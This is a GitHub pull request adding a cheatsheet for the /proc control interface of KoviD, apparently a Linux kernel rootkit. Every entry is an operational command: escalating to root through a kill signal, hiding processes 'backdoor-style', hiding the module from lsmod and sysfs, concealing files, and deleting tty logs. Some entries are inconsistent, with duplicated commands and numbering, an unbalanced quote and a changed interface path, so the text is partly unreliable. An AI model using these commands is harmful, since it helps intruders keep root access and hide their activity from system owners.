Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add first cheatsheet #109

Merged
merged 1 commit into from
Oct 1, 2024
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
64 changes: 64 additions & 0 deletions docs/cheatsheet-proc-interface.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,64 @@
# Assuming KoviD interface name is /proc/test
# @See Makefile

#1 /proc interface turn on
$ kill -SIGCONT 31337

#2 /proc interface turn off
$ kill -SIGCONT 31337

#3 Get ROOT
$ kill -SIGCONT 666
$ su

#4 Hide a PID
$ echo <pid> >/proc/test

#5 Unhide a PID
$ echo <pid> >/proc/test

#6 Hide a PID in backdoor-style, hide children
$ echo "-bd <pid> >/proc/test

#7 Undo #6
$ echo <pid> >/proc/test

#8 Hide KoviD module from lsmod/sysfs if not built with DEPLOY=1
$ echo "-h" >/proc/test

#9 Undo #8 - can rmmod after
$ cat `/proc/test` >/proc/test

#10 List hidden taks - debug mode only
$ echo "-s" >/proc/test
$ dmesg

#11 Hide README.txt by inode number from current directory
$ echo "-a AAA `stat -c %i README.txt`" >/proc/test

#12 Hide ALL files named README.txt - this bypass #11
$ echo "-a README.txt" >/proc/test

#13 Undo #12 - this bypass #11
$ echo "-d README.txt" >/proc/test

#14 List hidden tasks - debug mode only
$ echo "-s" >/proc/test
$ dmesg

#14 List hidden files and directories - debug mode only
$ echo "-l" >/proc/test
$ dmesg

#15 Mark tty log file to be removed when KoviD is rmmod'ed
$ echo "-t0" >/proc/test

#16 Undo #15
$ echo "-t1" >/proc/test

#17 Fetch the base address of a running process by PID number
$ echo "-b <PID>">/proc/kv
$ cat /proc/kv



Loading